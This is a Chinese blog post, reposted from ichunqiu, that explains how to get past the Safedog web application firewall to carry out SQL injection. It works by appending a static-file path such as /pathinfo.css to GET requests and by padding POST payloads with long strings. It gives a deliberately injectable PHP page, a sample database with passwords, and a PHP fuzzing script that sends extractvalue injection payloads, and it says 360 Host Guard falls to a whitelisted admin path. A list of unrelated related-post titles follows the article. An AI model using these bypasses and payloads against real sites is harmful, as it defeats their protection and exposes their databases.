作者:索马里的海贼

来源:ichunqiu

本文属i春秋原创奖励计划,未经许可禁止转载!
前言
前些日子测试漏洞碰上了安全狗,一直做代码审计没什么实战经验 被虐的不要不要的。找了一些网上的方法,基本上封的封有限制的有限制,没什么通用的好方法(当然也可能是我找的姿势不对)。昨天有点时间就特地看了下安全狗的逻辑做了一些fuzz,成功bypass了GET和POST的注入防御,不是特别通用,就当给大伙分享一些思路。

正文
测试环境
Windows Server 2003 Enterprise Edition Service Pack 2
Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
网站安全狗(APACHE版) V3.5正式版

  • 1.主程序版本:3.5.12048
  • 2.网马库版本:2016-06-29

测试代码
sqlin.php:

<?php$link = mysql_connect('localhost', 'root', 'root'); mysql_select_db('anquangou', $link);$sql = 'select * from `user` where `id`='.$_REQUEST['id']; echo $sql."<br>\n";$result =mysql_query($sql);while($array = mysql_fetch_assoc($result)){ echo "id:".$array['Id']."<br />\n";echo "username:".$array['username']."<br />\n"; echo "password:".$array['password']."<br />\n";}echo mysql_error();

数据库:

# Host: localhost        (Version: 5.5.53)#        Date: 2016-11-19 17:57:30#        Generator: MySQL-Front 5.3 (Build 4.234)/*!40101 SET NAMES utf8 */;## Structure for table "admin"#DROP TABLE IF EXISTS `admin`;CREATE TABLE `admin` (`Id` int(11) NOT NULL AUTO_INCREMENT, `admin_name` varchar(255) DEFAULT NULL, `admin_pass` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;## Data for table "admin"#/*!40000 ALTER TABLE `admin` DISABLE KEYS */; INSERT INTO `admin` VALUES (1,'admin','admin888');/*!40000 ALTER TABLE `admin` ENABLE KEYS */;## Structure for table "user"#DROP TABLE IF EXISTS `user`;CREATE TABLE `user` (`Id` int(11) NOT NULL AUTO_INCREMENT, `username` varchar(255) DEFAULT NULL, `password` varchar(255) DEFAULT NULL, PRIMARY KEY (`Id`)) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8;## Data for table "user"#/*!40000 ALTER TABLE `user` DISABLE KEYS */;INSERT INTO `user` VALUES (1,'user','userpass'),(2,'user2','upass2'); /*!40000 ALTER TABLE `user` ENABLE KEYS */;

GET型注入

GET型的注入其实能动手脚的地方不多,就一个url。安全狗没有公开自己的防护规则,不过有添加规则的功能,看了下是用正则语法。猜测官方规则应该也是正则。绕过有两种选择:

1.绕过正则的匹配,匹配失败当然就不会被拦截了。

2.绕过(或者打乱)程序的逻辑。不进入匹配逻辑也就不会拦截了。

对于正则绕过,在不知道防护规则具体正则表达式的前提下,就只能fuzz了,各种穿插配合。不过我尝试的是第二种方法。

安全狗的原理是往Web Service中注入一个模块,抢在Web Service处理之前获得HTTP请求并根据规则处理,没问题就交给Web Service继续处理,有问题就拦截并返回自定义错误信息。
一个简单的测试

fakefile.php实际上并不存在,但是仍然会被安全狗拦下来。当然也包括php5 php4 asp cer asa等等等等 甚至扩展名是.111都会拦截。不过也有例外,常见的静态文件(.js .jpg .swf .css等等)它是不管的。

可以看到并没有出拦截提示而是直接404了 所以猜测安全狗应该是存在类似白名单机制的,特定的静态资源后缀请求就不处理直接交给webserver 这种处理看起来没问题其实是存在隐患的 Apache和IIS默认都开启pathinfo支持 来做个测试

对php来说 请求的是sqlin.php 后面的/pathinfo.css是 PATH_INFO 但是安全狗好像把 pathinfo.css 当作了真正的请求对象,因为是静态资源 所以不做处理直接把请求丢给了php。
就这么秒了?对。。是不是so easy?
        
POST型注入
POST型再用pathinfo就不好使了 因为正常对静态资源的请求不会用post 所以也不用什么白名单了 任何POST请求都要先进狗嘴了绕一圈 那么就想办法来fuzz一下吧 构造一个post脚本

<?php $i=10000;$url = 'http://192.168.1.121/sqlin.php'; for(;;){$i++;echo "$i\n";$payload = 'id=-1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))) and 1='.str_repeat('3',$i); $ret = doPost($url,$payload);if(!strpos($ret,'网站防火墙')){echo "done!\n".strlen($payload)."\n".$ret; die();}}function doPost($url,$data=''){ $ch=curl_init();curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1 ); curl_setopt($ch, CURLOPT_HEADER, 0 ); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch, CURLOPT_POSTFIELDS, $data); $return = curl_exec ($ch);curl_close ($ch); return $return;}

在正常的注入语句后面加入超长字符串 然而跑了很久都没结果 于是停下脚本 换换位置 把超长字符串放在中间

$payload = 'id=-1 and 1='.str_repeat('3',$i).' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))';

跑起来

wtf?又秒了?浏览器中试一下

太坑了 我才刚脱裤子你告诉我结束了

后记

其实实际测试中过程要复杂的多,时间关系挑了成功的步骤写一下pathinfo其实是一个很容易被忽视的问题 顺带测试了一下360的主机卫士 也存在相同的问题。而且360的主机卫士自带的白名单还有类似于dede admin 这样的(后台操作不防御)可以用
http://example.com/index.php/admin/?id=sql注入这种方式来秒

更多安全技术、精品好文、白帽黑客大佬尽在:http://bbs.ichunqiu.com/portal.php

转载于:https://my.oschina.net/ichunqiu/blog/810669

记一次720度托马斯回旋过狗!相关推荐

  1. 720度全景带你vr云游景区,vr云游感受和应用介绍

    随着科技的不断进步,如今各行各业都逐渐转型到了线上,此次疫情也使得一些原本不看好线上数字化的人意识到了线上的重要性.假期喜欢出门游玩的人相信已经发现了,很多著名景区在公众号或官网等地方都放置了720度 ...

  2. 720度全景带你vr云游景区,vr云游在景区的应用优势

    随着互联网的快速发展,如今的线下很多的行业都已经开始转型到线上,因为这一次的疫情也使得一些原本不看好互联网数字化的人们已经意识到线上推销的重要性,喜欢外出旅游的人们相信已经发现了,现在很多有名的景区在 ...

  3. 一篇文章告诉你如何拍摄720度全景图片

    很多VR全景的初学者对于全景的拍摄设备,全景的拍摄步骤及方法,还有全景的拍摄关键点都是比较陌生的.那么就需要系统全面的学习一下VR全景图的拍摄制作教程了.今天我就简单的教大家如何去拍摄一张比较好的72 ...

  4. 关于720度全景图你要知道这些内容

    坚信针对摄影爱好者而言全景图片一定是一个很好的目标,那麼720度全景图片是啥?今日小九就带大家了解一下. 720度全景VR照片的基本原理: 一般情况下全景照片就是指水平方向的360度一周全景图,而72 ...

  5. 720度全景图展示你知道什么?720全景知识科普

    大家拍摄自然风光或城市建设时,经常会用广角镜头.超广角镜头来捕获尽可能宽敞的风景界面,殊不知超广角镜头在所难免有较为显著的桶形崎变,那有没有什么方式能够拍摄高品质VR全景照片呢?今天小九就共享一些VR ...

  6. 720度全景拍摄曝光问题如何解决

    拍摄曝光问题一直是拍照时的重点,不管是摄影爱好者还是专业的拍摄VR全景从业者,都会遇到曝光参数的问题.当摄影师举起相机第一个要考虑的就是曝光的问题,在很多情况下,一般根据相机内自动提供的曝光参数即可拍 ...

  7. html产品720度旋转,720度全视角全景相机

    2017-08-24 720全景摄像头,全方位捕捉美丽瞬间,不用旋转摄像头,就能满足各种模式拍摄视觉需要,旅途上我们不再为错过美丽的景色而惋惜,游玩中我们不再为错过动人的一刻而懊恼. 2017-08- ...

  8. 长沙云图VR|720度全景它的特点和优势是什么?

    随着5G的商业化发展,今天的"云生活"逐渐进入各行各业,让人们在享受生活的同时减少了疫情期间人与人之间的接触.比如"云旅游"."云博物馆". ...

  9. 源码推荐: 720度全景展示 for iOS

    google街景功能是不是很强大? 它可以720度全景展示,模拟第一视角的功能.如果自己的应用程序有这样的功能是不是很强大呢? 比如,你开发一个房间展示的应用程序,模拟你站在房间中,就可以720度观察 ...

最新文章

  1. ios 位置服务器,iOS 14 隐私保护:管理和控制共享的位置信息
  2. 配置JDKAndroid 2D游戏引擎AndEngine
  3. linux 时钟同步 chrony 简介
  4. spring boot + spring cloud 基础架构设计
  5. 黑马lavarel教程---9、缓存操作
  6. 操作Frame和IFrame中页面元素
  7. 蛮力写算法_蛮力算法解释
  8. 127.0.0.0与0.0.0.0的区别
  9. css3位移过度效果,详解Css3新特性应用之过渡与动画
  10. intellij idea 在什么地方打开终端Terminal
  11. AD9371+ZC706 NO-OS初始工程搭建-Vivado2019.2
  12. 导航栏渐变方案收录一
  13. +initialize方法的调用时机
  14. 牛客--两种排序方法
  15. html打开无法显示网页怎么回事,Win7打开网页提示“Internet Explorer无法显示该页面”如何解决?...
  16. 冯东阳:吐胆汁分享原创文章写作经验
  17. Day Nine——白噪声检测及确定p、d、q值和模型的检验
  18. android ops,安卓OPS电脑解决方案,促进城市智能化
  19. 64匹马8个跑道选出最快的4匹马,最快需要几次比赛
  20. k8s教程(基础篇)-入门及案例

热门文章

  1. android最新版本 note8,惊喜!三星Note8国行版安卓8.0终于来了:4月23日开推
  2. ajax传值 vue_SpringMVC(五):Ajax传值与接收值
  3. 用ps临摹丰田logo
  4. 删除后别人的微信号变成wxid_怎样找回删除的微信好友?不用ROOT不用数据恢复软件!而且免费!...
  5. LISP文件 统计多段线的面积命令tjmj-并中心标注
  6. 拆解64集BBC纪录片,每天看一集,英语水平超9成国人.......
  7. CPU中断的硬件实现原理
  8. [算法] 二叉树的 先序遍历、中序遍历、后序遍历
  9. css设置图片逐渐消失
  10. mysql查询总成绩的前3名学生信息